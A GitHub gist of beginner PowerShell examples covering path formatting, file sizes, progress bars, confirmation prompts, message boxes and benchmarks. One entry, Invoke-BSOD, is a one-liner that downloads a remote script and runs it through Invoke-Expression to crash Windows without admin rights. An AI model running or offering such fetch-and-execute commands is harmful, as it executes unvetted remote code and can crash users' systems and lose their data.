Skip to content

Instantly share code, notes, and snippets.

@dantof
Forked from daephx/Format-Relative.ps1
Created January 15, 2021 13:28
Show Gist options
  • Save dantof/e2f7abc8cfaffe4225c2736619b575b6 to your computer and use it in GitHub Desktop.
Save dantof/e2f7abc8cfaffe4225c2736619b575b6 to your computer and use it in GitHub Desktop.
[Powershell Examples] #Powershell #Examples

Powershell Examples

Personal collection of basic examples / scripts.

Name Description
Format-Relative Diffrent methods for displaying relative path.
Get-ImageData Get image information.
Get-LastAccess Retreive a timestamp of when an item was accessed..
Get-ModuleCount Measure the amount of loaded modules..
Hide-Item Set item attribute to 'Hidden'.
Invoke-BSOD Invokes a Blue Screen of Death from remote script; w/o admin privileges..
Measure-Filesize Determine human readable filesize.
Select-GridView GUI listview of symbolic links, selection opens path in explorer..
Show-AnsiColorGradient Display a color gradient in the terminal. Just for fun..
Show-Confirmation Prompt user for [y/n] confirmation..
Show-MessageBox Make a GUI Message Box visible to the user.
Test-AppendPerformance Comparing the performance of two serperate appending methods..
Test-Interrupt Continue script action after interuption..
Test-Pipeline Does something with paths supplied via pipeline..
Test-ProgressBar Display & update progress bar.
Test-WhatIf Example function for '-WhatIf' parameter support..
Write-HostCenter Display text in the center of the terminal window..

<#
.SYNOPSIS
Diffrent methods for displaying relative path
#>
# Existing Path
$PWD | Resolve-Path -relative
# Replace String
$path -replace [regex]::Escape((Get-Location).Path), '.'
<#
.SYNOPSIS
Get image information
#>
Add-Type -AssemblyName System.Drawing
$image = [System.Drawing.Image]::FromFile('.\path\to\img.png')
$image.size
<#
.SYNOPSIS
Retreive a timestamp of when an item was accessed.
#>
Write-Host "`nThe " + "$" + "HOME Directory was last accessed at: " + $(Get-Item $HOME).lastaccesstime
<#
.SYNOPSIS
Measure the amount of loaded modules.
#>
Write-Host "Number of modules loaded = " + (Get-Module).count
<#
.SYNOPSIS
Set item attribute to 'Hidden'
#>
# For a single file, you can change the attributes property, like this:
$file = Get-Item .\your_folder -Force
$file.attributes = "Hidden"
# To hide everything within a folder, you can use Get-ChildItem, like this:
Get-ChildItem -Path "your_path_here" -Recurse -Force | ForEach-Object { $_.attributes = "Hidden" }
<#
.SYNOPSIS
Invokes a Blue Screen of Death from remote script; w/o admin privileges.
#>
Invoke-Expression((New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/peewpw/Invoke-BSOD/master/Invoke-BSOD.ps1')); Invoke-BSOD
<#
.SYNOPSIS
Determine human readable filesize
.LINK
https://stackoverflow.com/questions/24616806/powershell-display-files-size-as-kb-mb-or-gb
#>
# Get-Help wont work if script starts with function...
Write-Host "`n" (Get-Help $PSCommandPath).synopsis
function DisplayInBytes($num) {
$suffix = "B", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB"
$index = 0
while ($num -gt 1kb) {
$num = $num / 1kb
$index++
}
"{0:N1} {1}" -f $num, $suffix[$index]
}
Write-Host Directory Information -fore Magenta
$files = Get-ChildItem -Recurse
$bytes = ($files | Measure-Object -Property Length -Sum).Sum
$hash = [ordered]@{
Filecount = $files.count
WorkingDir = $PWD
}
$hash | Format-Table -HideTableHeaders
Write-Host Static Measurements -fore Magenta
$hash = [ordered]@{
Bytes = $bytes
Kilobytes = ("{0} KB" -f ($bytes / 1KB))
Megabytes = ("{0} MB" -f ($bytes / 1MB))
Gigabytes = ("{0} GB" -f ($bytes / 1GB))
Terabytes = ("{0} TB" -f ($bytes / 1TB))
}
$hash | Format-Table -HideTableHeaders
Write-Host Dynamic Measurements -fore Magenta
$hash = [ordered]@{
Bytes = $bytes
Truncated = $(DisplayInBytes $bytes)
}
$hash | Format-Table -HideTableHeaders
<#
.SYNOPSIS
GUI listview of symbolic links, selection opens path in explorer.
#>
$ReparsePoints = Get-ChildItem -path $ENV:USERPROFILE -recurse -depth 4 |
Where-Object { $_.Attributes -match "ReparsePoint" }
$Selection = $ReparsePoints | Out-GridView -PassThru -Title "Symbolic Links"
if ( $null -ne $Selection) { Invoke-Item $Selection }
<#
.SYNOPSIS
Display a color gradient in the terminal. Just for fun.
.LINK
https://www.reddit.com/r/PowerShell/comments/b06gtw/til_that_powershell_can_do_colors/
#>
# Get-Help wont work if script starts with function...
Write-Host "`n" (Get-Help $PSCommandPath).synopsis
function Show-AnsiColorGradient {
# ANSI escape character
$ansi_escape = [char]27
try {
for ($r = 0; $r -le 255; $r += 16) {
for ($g = 0; $g -le 255; $g += 8) {
Write-Host "" # Separate
for ($b = 0; $b -le 255; $b += 4) {
$ansi_command = "$ansi_escape[48;2;{0};{1};{2}m" -f $r, $g, $b
$text = " "
$ansi_terminate = "$ansi_escape[0m"
$out = $ansi_command + $text + $ansi_terminate
Write-Host -nonewline $out
}
}
break
}
}
finally {
Write-Host "" # Separate
}
}
<#
.SYNOPSIS
Prompt user for [y/n] confirmation.
.NOTES
* Consider:
If a cmdlet supports the -confirm parameter, it can be forced to prompt before any action.
I just like version #1 because it's concise.
#>
# Version #1
$msg = "Are you sure you wish to commit this action?"
while ( -not ( ($choice = (Read-Host $msg)) -match "y|n")) { $msg = "Please specify [y/n]" }
if ($choice -notmatch "[yY]") { break }
# Version #2
$Caption = "Confirm"
$Message = "Are You Sure?"
$Yes = New-Object System.Management.Automation.Host.Choicedescription "&Yes", "Help"
$No = New-Object System.Management.Automation.Host.Choicedescription "&No", "Help"
$Choices = [System.Management.Automation.Host.Choicedescription[]]($Yes, $No)
$Answer = $Host.Ui.Promptforchoice($Caption, $Message, $Choices, 0)
Switch ($Answer) {
0 { "You Entered 0"; Break }
1 { "You Entered 1"; Break }
}
<#
.SYNOPSIS
Make a GUI Message Box visible to the user
.EXAMPLE
* Windows Forms:
Add-Type -AssemblyName System.Windows.Forms
[System.Windows.Forms.MessageBox]::Show('Hello')
.LINK
https://docs.microsoft.com/en-us/dotnet/api/system.windows.forms.messagebox
.EXAMPLE
* PresentationFramework:
Add-Type -AssemblyName PresentationFramework
[System.Windows.MessageBox]::Show('Hello')
.LINK
https://docs.microsoft.com/en-us/dotnet/api/system.windows.messagebox
#>
# MessageBox Dialog
$Title = 'MessageBox Example'
$Message = 'What action do you wish to take?'
$ButtonType = 'YesNoCancel'
$MessageIcon = 'Error'
Add-Type -AssemblyName PresentationFramework
$msgBoxInput = [System.Windows.MessageBox]::Show($Message, $Title, $ButtonType, $MessageIcon)
switch ($msgBoxInput) {
'Yes' { Write-Output "You clicked 'Yes'" }
'No' { Write-Output "You clicked 'No'" }
'Cancel' { Write-Output "You clicked 'Cancel'" }
}
<#
.SYNOPSIS
Comparing the performance of two serperate appending methods.
.DESCRIPTION
PowerShell, arrays are of a fixed size.
This means that in the background each time you use the '+=' you are creating a new array,
copying '$array' to it while adding the new element at the same time. Once that process is completed,
PowerShell is then executing the old one, and I’m talking capital punishment here.
The old array is no more and you are left with its blood on your hands.
.LINK
Thanks: https://theposhwolf.com/howtos/PS-Plus-Equals-Dangers/
#>
# Breifly introduce the current running script.
Write-Host "`n" ($MyInvocation.ScriptName)
# Get-Help wont work if script starts with function...
Write-Host (Get-Help $PSCommandPath).Synopsis -ForegroundColor DarkGray
$Loop = 10000
# Static Array
$Measure_Array = Measure-Command {
$array = @()
1..$Loop | ForEach-Object { $array += "$_" }
}
# Generic List
$Measure_List = Measure-Command {
$list = [System.Collections.Generic.List[string]]::new()
1..$Loop | ForEach-Object { $null = $list.Add("$_") }
}
Write-Host "`nPS $($PSVersionTable.PSEdition) $($PSVersionTable.PSVersion.ToString())`n"
Write-Host "'Array +='`t: " -NoNewline
Write-Host "Milliseconds: $($Measure_Array.TotalMilliseconds)"
Write-Host "'List.Add()'`t: " -NoNewline
Write-Host "Milliseconds: $($Measure_List.TotalMilliseconds)"
Write-Host "'Complete'`t: " -NoNewline
Write-Host "Milliseconds: $($Measure_List.TotalMilliseconds + $Measure_Array.TotalMilliseconds)"
<#
.SYNOPSIS
Continue script action after interuption.
.DESCRIPTION
Using 'try : finally' blocks to continue some action,
even if the user stops the script preemptively.
.NOTES
Additionally,
the stationary loop counter showed me that when calculating the length of an integer,
you can convert it to a string.
#>
Try {
$counter = 0
Write-Host "`nThis script will not stop on its own" -fore yellow
Write-Host "Press 'Ctrl+C' to stop the current script...`n"
Write-Host "Loop: " -NoNewline
While ($True) {
# Runs ad infinitum
Write-Host ("$counter" + ("`b" * $counter.tostring().length)) -NoNewline
Start-Sleep 1
$counter++
}
}
Finally {
Write-Host "`nScript has been terminated." -fore red; ""
}
<#
.SYNOPSIS
Does something with paths supplied via pipeline.
.PARAMETER Path
Specifies a path to one or more locations. Wildcards are permitted.
The default location is the current directory.
.LINK
Thanks: https://stackoverflow.com/a/30897912/10450299
#>
# Breifly introduce the current running script.
Write-Host "`n" ($MyInvocation.ScriptName)
# Get-Help wont work if script starts with function...
Write-Host (Get-Help $PSCommandPath).Synopsis -ForegroundColor DarkGray
Function Test-PipelineInput {
[CmdletBinding()]
param(
[Parameter(
ValueFromPipeline,
ValueFromPipelineByPropertyName
)]
[PSDefaultValue(Help = "Description for default value.")]
[SupportsWildcards()]
[string[]]$Path = $PWD
)
PROCESS {
foreach ($Item in $Path) {
$Item = Get-Item $Item
Write-Host "Item: $Item"
}
}
}
# Run the Test-Functions
Test-PipelineInput
<#
.SYNOPSIS
Quick Hits: Speed Up Some of your Commands by Avoiding the Pipeline
.DESCRIPTION
Sometimes running a command using the pipeline can take a while depending on the amount of data that is being processed.
For the easiest example, I will make use of Get-Random to demonstrate the differences in speed and how much memory is used.
.LINK
Thanks: https://learn-powershell.net/2013/01/13/quick-hits-speed-up-some-of-your-commands-by-avoiding-the-pipeline/
#>
# Breifly introduce the current running script.
Write-Host "`n" ($MyInvocation.ScriptName)
# Get-Help wont work if script starts with function...
Write-Host (Get-Help $PSCommandPath).Synopsis -ForegroundColor DarkGray
function Test-RandomPipelineBenchmark {
<#
.DESCRIPTION
Here you see that it takes a little over a minute to run,
but the amount of memory used isn’t a whole lot; about 6KB.
Instead, you should take a look at using the '–InputObject' parameter
as it accepts a collection of objects to use instead for much faster performance.
.OUTPUTS
Memory Before: 206, 064KB
TotalSeconds : 6.2035622
Memory After : 206, 064KB
#>
("Memory Before: {0:#,#}KB" -f ((Get-Process -Id $PID).PeakWorkingSet / 1kb))
("TotalSeconds : {0}" -f (Measure-Command { 1..1E6 | Get-Random }).TotalSeconds)
("Memory After : {0:#,#}KB" -f ((Get-Process -Id $PID).PeakWorkingSet / 1kb))
}
function Test-RandomInputObjectBenchmark {
<#
.DESCRIPTION
This didn’t event take a second to run using the InputObject parameter.
However, you will see that the amount of memory required to perform this operation jumped up by about 20KB,
so caution should be used if trying to run this against a lot of data to avoid running into memory issues.
.OUTPUTS
Memory Before: 206, 204KB
TotalSeconds : 0.36981
Memory After : 238, 912KB
#>
("Memory Before: {0:#,#}KB" -f ((Get-Process -Id $PID).PeakWorkingSet / 1kb))
("TotalSeconds : {0}" -f (Measure-Command { Get-Random -InputObject (1..1E6) }).TotalSeconds)
("Memory After : {0:#,#}KB" -f ((Get-Process -Id $PID).PeakWorkingSet / 1kb))
}
# Run the Test-Functions
Write-Host "$('-'*80)" -ForegroundColor DarkGray # Seperator
Write-Host "Running: Benchmark #1 [Pipeline]"
Test-RandomPipelineBenchmark
Write-Host "$('-'*80)" -ForegroundColor DarkGray # Seperator
Write-Host "Running: Benchmark #1 [InputObject]"
Test-RandomInputObjectBenchmark
Write-Host "$('-'*80)" -ForegroundColor DarkGray # Seperator
<#
.SYNOPSIS
Display & update progress bar
.DESCRIPTION
For this we will be counting for 1 minute; the Start-Sleep function is 1 second
By looping through each second and calculating the percent complete we can update the progess bar.
#>
# Get-Help wont work if script starts with function...
Write-Host "`n" (Get-Help $PSCommandPath).synopsis
function Test-ProgressBar {
Write-Host -fore Cyan "Let's just take a minute to relax..."
For ($i = 0; $i -le 60; $i++) {
Write-Progress -Activity "I'll count. $i second[s]" -percentComplete ($i / 60 * 100)
Start-Sleep 1
}
}
<#
.SYNOPSIS
Example function for '-WhatIf' parameter support.
#>
# Get-Help wont work if script starts with function...
Write-Host "`n" (Get-Help $PSCommandPath).synopsis
Function Test-WhatIf {
[CmdletBinding(SupportsShouldProcess)]
Param([String]$Objects)
ForEach ($item in $Objects) {
If ($PSCmdlet.ShouldProcess("$item", "Action")) {
"Action: -> $item" # This will only run without '-WhatIf'
}
}
}
# Run the function
Test-WhatIf "ITEM" -WhatIf
<#
.SYNOPSIS
Display text in the center of the terminal window.
.DESCRIPTION
* Bonus Example: Selection Menu
A function that calculates the center of the console by character columns to display some text,
This is mostly a stylistic function. It doesn't fair very well when the console window is resized.
#>
# Get-Help wont work if script starts with function...
Write-Host "`n" (Get-Help $PSCommandPath).synopsis
function Write-HostCenter {
param($Message)
Write-Host ("{0}{1}" -f (' ' * (([Math]::Max(0, $Host.UI.RawUI.BufferSize.Width / 2) - [Math]::Floor($Message.Length / 2)))), $Message)
}
function Show-Menu {
param ([string]$Title = 'My Menu')
Clear-Host
Write-HostCenter "================ $Title ================"
Write-HostCenter "1: Press '1' for this option."
Write-HostCenter "2: Press '2' for this option."
Write-HostCenter "3: Press '3' for this option."
Write-HostCenter "Q: Press 'Q' to quit."
}
Do {
Show-Menu
$input = Read-Host "Please make a selection"
Switch ($input) {
'1' { 'You chose option #1' }
'2' { 'You chose option #2' }
'3' { 'You chose option #3' }
'q' { Return }
}
Pause
}
Until ($input -eq 'q')
Clear-Host
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment